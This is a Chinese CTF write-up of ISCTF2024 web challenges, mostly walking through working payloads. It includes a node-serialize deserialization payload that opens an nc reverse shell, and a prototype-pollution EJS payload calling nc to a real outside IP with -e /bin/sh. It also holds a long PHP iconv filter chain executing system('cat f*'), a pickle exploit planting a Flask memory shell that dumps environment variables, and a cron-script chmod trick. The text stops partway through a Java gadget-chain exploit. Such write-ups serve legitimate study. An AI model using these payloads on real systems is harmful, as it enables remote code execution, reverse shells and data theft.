ISCTF2024

ezlogin

源码审计

先审源码,纯js题

const express = require('express');  
const app = express();  
const bodyParser = require('body-parser');  
var cookieParser = require('cookie-parser');  
var serialize = require('node-serialize');  
app.use(bodyParser.urlencoded({ extended: true }));  
app.use(cookieParser())  
app.set('view engine', 'ejs');  
app.set('views', './views');  users={"guest":"123456"}  function auth(req, res, next) {  
if(req.cookies.token){  
const user = serialize.unserialize(Buffer.from(req.cookies.token,'base64').toString());  
if (!user.username) {  
return res.status(401).redirect('/login');  
}  
}else{  
return res.status(401).redirect('/login');  
}  
next();  
}  app.get('/index',auth,function(req,res){  
res.render("index");  
});  app.get('/register',function(req,res){  
res.render("register");  
});  app.post('/register',function(req,res){  
username = req.body.username;  
password = req.body.password;  if (!username || !password) {  
return res.status(400).send('用户名和密码都是必填项');  
}  
if (users[username]) {  
return res.status(409).send('用户名已存在');  
}  
users[username] = password;  
return res.status(201).send('用户注册成功');  
});  app.get('/login',function(req,res){  
res.render("login");  
});  app.post('/login',function(req,res){  
username = req.body.username;  
password = req.body.password;  
if (!username || !password) {  
return res.status(400).send('用户名和密码都是必填项');  
}  
if (!(users[username])) {  
return res.status(409).send('用户名不存在');  
}else{  
if(users[username] === password){  
token=Buffer.from(serialize.serialize({'username':username,'isAdmin':false})).toString('base64')  
res.cookie('token',token, {  
maxAge: 900000,  
httpOnly: true  
});  
return res.status(200).redirect('/index');  
}else{  
return res.status(200).send('密码错误');  
}  
}  });  // 启动服务器  
app.listen(80, () => {  
console.log(`Server running at http://localhost:80`);  
});

这段代码实现了一个基本的用户认证系统,包括用户注册、登录、和受保护的页面(/index),所有这些功能都使用 express 和一些其他中间件来处理 HTTP 请求和 Cookie 管理。以下是详细的代码解析:

1. 引入依赖包

javascript

const express = require('express');
const app = express();
const bodyParser = require('body-parser');
var cookieParser = require('cookie-parser');
var serialize = require('node-serialize');
  • express: 用于处理 HTTP 请求的框架。
  • body-parser: 用于解析 HTTP 请求体中的数据,特别是 POST 请求中的 form-data 数据。
  • cookie-parser: 用于解析 HTTP 请求中的 Cookies,以便在后续处理中访问。
  • node-serialize: 用于序列化和反序列化数据。此代码用它将用户信息序列化后存储在 Cookies 中。

2. 配置中间件

javascript

app.use(bodyParser.urlencoded({ extended: true }));
app.use(cookieParser())
app.set('view engine', 'ejs');
app.set('views', './views');
  • app.use(bodyParser.urlencoded({ extended: true })): 处理表单提交的数据。extended: true 允许使用复杂的数据类型(如嵌套对象)。
  • app.use(cookieParser()): 用于解析请求中的 Cookies,这样可以通过 req.cookies 访问到 Cookies 中存储的数据。
  • app.set('view engine', 'ejs'): 设置视图模板引擎为 ejs,用于渲染 HTML 模板。
  • app.set('views', './views'): 设置视图模板的文件目录为 ./views

3. 用户数据存储

javascript

users = {"guest": "123456"};
  • 这里使用了一个简单的内存数据结构 users 来存储用户的用户名和密码。注意:这是一个简单的例子,生产环境中应该使用数据库来存储用户信息。

4. 身份验证中间件 (auth)

javascript

function auth(req, res, next) {if(req.cookies.token){const user = serialize.unserialize(Buffer.from(req.cookies.token,'base64').toString());if (!user.username) {return res.status(401).redirect('/login');}}else{return res.status(401).redirect('/login');}next();
}
  • 这个中间件用于保护 /index 路由。它会检查请求中是否包含有效的认证令牌 (token),并且通过序列化和反序列化获取存储在 token 中的用户数据(如 username)。
  • 如果 token 不存在或解析失败,或者 user.username 没有被设置,就会重定向用户到 /login 页面,表示用户未认证。
  • 如果通过认证,调用 next(),允许继续执行后续的路由处理。

5. 注册功能

路由: GET /register

javascript

app.get('/register', function(req, res) {res.render("register");
});
  • 当访问 /register 时,服务器会渲染 register.ejs 页面,展示注册表单。
路由: POST /register

javascript

app.post('/register', function(req, res) {username = req.body.username;password = req.body.password;if (!username || !password) {return res.status(400).send('用户名和密码都是必填项');}if (users[username]) {return res.status(409).send('用户名已存在');}users[username] = password;  return res.status(201).send('用户注册成功');
});
  • 用户通过 POST 请求提交注册信息,服务器首先检查用户名和密码是否为空。如果为空,则返回 400 错误。
  • 然后检查用户名是否已经存在,如果存在则返回 409 错误(表示冲突)。
  • 如果用户名不存在,密码有效,则将用户名和密码存储到 users 对象中,表示注册成功。

6. 登录功能

路由: GET /login

javascript

app.get('/login', function(req, res) {res.render("login");
});
  • 当访问 /login 路由时,渲染 login.ejs 页面,展示登录表单。
路由: POST /login

javascript

app.post('/login', function(req, res) {username = req.body.username;password = req.body.password;if (!username || !password) {return res.status(400).send('用户名和密码都是必填项');}if (!(users[username])) {return res.status(409).send('用户名不存在');} else {if (users[username] === password) {token = Buffer.from(serialize.serialize({'username': username, 'isAdmin': false})).toString('base64')res.cookie('token', token, {maxAge: 900000,httpOnly: true});return res.status(200).redirect('/index');} else {return res.status(200).send('密码错误');}}
});
  • 用户通过 POST 请求提交登录信息,服务器首先验证用户名和密码是否为空。
  • 如果用户名不存在,返回 409 错误(用户名未注册)。
  • 如果密码正确,生成一个基于序列化的用户信息对象(包含 usernameisAdmin 字段),并将其序列化为 base64 编码的字符串。然后,将这个字符串存储在浏览器的 Cookie 中,作为身份验证令牌(token)。
  • 设置 Cookie 的 maxAge 为 15 分钟(900000 毫秒),httpOnlytrue,确保客户端脚本不能访问此 Cookie,提高安全性。
  • 登录成功后,用户会被重定向到 /index 路由。
密码错误处理

如果密码不正确,返回 密码错误

7. 受保护的 /index 页面

javascript

app.get('/index', auth, function(req, res) {res.render("index");
});
  • 这个路由使用 auth 中间件进行身份验证,确保只有已经登录的用户才能访问。如果没有有效的 token,用户会被重定向到 /login 页面。
  • 如果通过身份验证,渲染 index.ejs 页面。

8. 启动服务器

javascript

app.listen(80, () => {console.log(`Server running at http://localhost:80`);
});
  • 启动一个 HTTP 服务器,监听 80 端口,等待请求。

写题

主要的漏洞代码是这里

function auth(req, res, next) {  
if(req.cookies.token){  
const user = serialize.unserialize(Buffer.from(req.cookies.token,'base64').toString());  
if (!user.username) {  
return res.status(401).redirect('/login');  
}  
}else{  
return res.status(401).redirect('/login');  
}  
next();  
}  app.get('/index',auth,function(req,res){  
res.render("index");  
});  

可以看到用了nodejs的unserialize函数,推测是CVE-2017-5941,js反序列化RCE漏洞

参考:
https://xz.aliyun.com/t/7184?time__1311=n4%2BxnD0Dy737q4Yq7KDsA3r%3Dori%3DKtrrDBQgmoD#toc-8
https://www.cnblogs.com/xishaonian/p/8145189.html

在访问index时会触发反序列化

这个环境没有bash,所以无法用bash反弹shell,这里之前卡了蛮久

然后就可以构造了Payload了

_$$ND_FUNC$$_function (){require('child_process').exec('nc ip port -e sh')}()

先注册
![[Pasted image 20241111011603.png]]请添加图片描述

然后进行构造token

![[Pasted image 20241111011643.png]]

按照其他正常的token构造就行,只需要修改用户名那段,base64后放入token中

![[Pasted image 20241111011745.png]]

得到反弹shell

![[Pasted image 20241111011813.png]]

ezjs

参考博客:

https://xz.aliyun.com/t/13544?time__1311=GqmxuDciD%3DitdGNDQiiQGkQaR7GmqOqF4D

源码审计

这个题和西湖Easyjs差不多,都是原型链污染加上Ejs的模版注入

index.ejs里面没有什么特别的东西

<!DOCTYPE html>  
<html lang="zh">  
<head>  
<meta charset="UTF-8">  
<meta name="viewport" content="width=device-width, initial-scale=1.0">  
<!-- 链接 Bootstrap CSS --><link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">  
<!-- 动漫风格字体 -->  
<link href="https://fonts.googleapis.com/css?family=M PLUS+1p&display=swap" rel="stylesheet">  
<style>  
body {  
font-family: 'M PLUS 1p', sans-serif;  
background-image: url('https://cdn.pixabay.com/photo/2018/04/22/22/57/hacker-3342696_640.jpg');  
background-size: cover;  
color: #ec0e0e;  
}  
.starter-template {  
padding: 3rem 1.5rem;  
text-align: center;  
}  
.starter-template h1 {  
color: #f40b0b;  
}  
.card {  
background-color: rgba(255, 255, 255, 0.8);  
border: none;  
}  
.card-img-top {  
border-radius: 10px;  
}  
</style>  
</head>  
<body>  
<nav class="navbar navbar-expand-lg navbar-light">  
<div class="container-fluid">  
<button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarNav" aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">  
<span class="navbar-toggler-icon"></span>  
</button>  
<div class="collapse navbar-collapse" id="navbarNav">  
<ul class="navbar-nav">  
<li class="nav-item">  
<a class="nav-link active" aria-current="page" href="#">首页</a>  
</li>  
</ul>  
</div>  
</div>  
</nav>  <main role="main" class="container mt-5">  
<div class="starter-template text-center">  
<h1>Hello ctfer!</h1>  
<h2>You have been hacked by me and I left a backdoor</h2>  
</div>  
</main>  <!-- 链接 Bootstrap JS --><script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>  
</body>  
</html>

大概看了下,好像没有可以直接用的原型链污染点?

然后就是app.js

const express = require('express');  
const app = express();  
app.use(express.json());  
app.set('view engine', 'ejs');  
app.set('env', 'development');  
app.set('views', './views');  users={"guest":"123456"}  function copy(object1, object2){  
for (let key in object2) {  
if (key in object2 && key in object1) {  
copy(object1[key], object2[key])  
} else {  
object1[key] = object2[key]  
}  
}  
}  
// 首页展示  
app.get('/', (req, res) => {  
res.render('index');  
});  
// backdoor  
app.post('/UserList',(req,res) => {  
user = req.body  
const blacklist = ['\\u','outputFunctionName','localsName','escape']  
const hacker = JSON.stringify(user)  
for (const pattern of blacklist){  
if(hacker.includes(pattern)){  
res.status(200).json({"message":"hacker!"});  
return  
}  
}  
copy(users,user);  
res.status(200).json(user);  
});  // 启动服务器  
app.listen(80, () => {  
console.log(`Server running at http://localhost:80`);  
});

这段代码是用 Node.jsExpress 框架实现的一个简单的 web 服务器,功能包括展示一个首页以及提供一个“后门”接口来处理用户数据更新。下面我将逐步解释这段代码的每一部分。

1. 引入依赖和设置 Express 应用

js

const express = require('express');  
const app = express();  
app.use(express.json());  
app.set('view engine', 'ejs');  
app.set('env', 'development');  
app.set('views', './views');  
  • express: 引入了 express 模块,它是一个简化 web 应用开发的框架。
  • app: 通过 express() 创建了一个 Express 应用实例。
  • app.use(express.json()): 这行代码使用 express.json() 中间件来处理传入的 JSON 请求体。如果请求体是 JSON 格式,会自动将其解析为 JavaScript 对象,方便在路由中使用。
  • app.set('view engine', 'ejs'): 设置 ejs 作为视图引擎。这意味着该应用使用 ejs 模板渲染动态页面。
  • app.set('env', 'development'): 手动设置环境变量为开发环境 (development)。实际上,Express 会自动根据 NODE_ENV 环境变量来设置环境,所以这行代码并不必要,除非你特别想手动设置环境。
  • app.set('views', './views'): 设置视图文件所在的目录。ejs 模板文件将放在 ./views 目录下。

2. 用户数据对象

js

users = {"guest": "123456"}

这里定义了一个名为 users 的对象,表示一个简单的用户数据存储,初始只有一个名为 "guest" 的用户,密码为 "123456"

3. 复制对象的 copy 函数

js

function copy(object1, object2){  for (let key in object2) {  if (key in object2 && key in object1) {  copy(object1[key], object2[key]);  } else {  object1[key] = object2[key];  }  }  
}

这是一个递归的 copy 函数,用于将 object2 的属性复制到 object1 中。其逻辑如下:

  • 遍历 object2 的每个属性。
  • 如果 object1object2 都有该属性,则递归调用 copy 函数来处理嵌套对象。
  • 如果 object1 没有该属性,或者是基本数据类型(如字符串、数字等),则直接将 object2 中的值赋给 object1

这种方法有效地将 object2 的所有内容复制到 object1 中,但它没有检查或避免覆盖已有数据。

4. 首页路由 (/)

js

app.get('/', (req, res) => {  res.render('index');  
});

这是一个 GET 路由,当用户访问首页时,会渲染 index 视图(views/index.ejs)。这个视图文件应包含 HTML 内容,用于展示首页内容。

5. 后门接口 (/UserList)

js

app.post('/UserList', (req, res) => {  user = req.body;  const blacklist = ['\\u','outputFunctionName','localsName','escape'];  const hacker = JSON.stringify(user);  for (const pattern of blacklist) {  if (hacker.includes(pattern)) {  res.status(200).json({"message": "hacker!"});  return;  }  }  copy(users, user);  res.status(200).json(user);  
});

这是一个 POST 路由 /UserList,可以接受客户端发送的用户数据并进行处理。具体步骤如下:

  1. req.body: 获取客户端发送的请求体(JSON 格式),这个请求体应该是一个包含用户数据的对象。

  2. blacklist: 这里定义了一个黑名单数组,其中包含一些字符串(如 '\\u', 'outputFunctionName' 等),这些字符串似乎是用来防止某些恶意攻击(例如脚本注入等)。

  3. hacker: 将用户数据(req.body)转换成 JSON 字符串,以便检查是否包含黑名单中的恶意字符串。

  4. 遍历 blacklist,检查用户数据中是否包含任何黑名单字符串。如果包含,则认为是恶意请求,返回 {"message": "hacker!"},并终止处理。

  5. 如果没有检测到黑名单字符串,则调用 copy(users, user)user 对象的数据复制到 users 对象中。这意味着服务器将更新存储的用户数据。

  6. 最后,返回更新后的用户数据(user)作为响应。

主要漏洞代码在

app.post('/UserList',(req,res) => {  
user = req.body  
const blacklist = ['\\u','outputFunctionName','localsName','escape']  
const hacker = JSON.stringify(user)  
for (const pattern of blacklist){  
if(hacker.includes(pattern)){  
res.status(200).json({"message":"hacker!"});  
return  
}  
}  
copy(users,user);  
res.status(200).json(user);  
});  

JSON.stringify就是要利用的原生类污染的地方

这段代码里可以很明显的看到index.ejs是直接被解析的,但是没有返回的点就只能弹shell了

{"__proto__":{"destructuredLocals":["a=a;global.process.mainModule.require('child_process').execSync('nc 120.76.143.184 6666 -e /bin/sh');//var __tmp2"]}
}

得到flag

千年嘤

过滤器感觉有点伤,将工具跑的第一个过滤器去掉,然后用base64和<结合去掉杂乱字符。

poc=convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|string.strip_tags&cmd=system('cat f*');

新闻系统

先jwt构造进入admin

然后pickle反序列化,好像要延时啥的,我内存马直接通了

import pickle  
import base64  class A():  def __reduce__(self):  return (exec, ("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('env').read())",))  a = A()  
b = pickle.dumps(a)  
print(base64.b64encode(b))  
pickle.loads(b)

小蓝鲨的临时储存室

蚁剑连接,根目录的那个.sh文件可以发现有文件读取权限,并且是定时的,尝试给自己提权,好像不太行。。直接给flag 777 权限通了,搞不懂为啥

echo '#!/bin/bash' > down_file.shecho 'chmod 777 /flag' >> down_file.sh

然后等待几分钟,cat /flag就行

蓝鲨的java入门课堂

urldns链的变形

tip:一定要用base64的payload。。。卡这个卡了好久

利用点,Evil.java

//  
// Source code recreated from a .class file by IntelliJ IDEA  
// (powered by FernFlower decompiler)  
//  package cat.uwu.begin_java;  import java.io.IOException;  
import java.io.Serializable;  public class Evil implements Serializable {  private String cmd;  private Evil(String cmd) {  this.cmd = cmd;  }  public int hashCode() {  String result;  try {  result = Runtime.getRuntime().exec(this.cmd).toString();  } catch (IOException var3) {  throw new RuntimeException(var3);  }  return result.hashCode();  }  
}

payload:

package org.example;  import java.io.*;  
import java.lang.reflect.Field;  
import java.net.URL;  
import java.util.Base64;  
import java.util.HashMap;  import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.LazyMap;  
import org.apache.commons.collections.map.TransformedMap;  
import org.omg.CORBA.portable.InvokeHandler;  import java.io.*;  
import java.lang.annotation.Target;  
import java.lang.reflect.*;  
import java.util.Base64;  
import java.util.HashMap;  
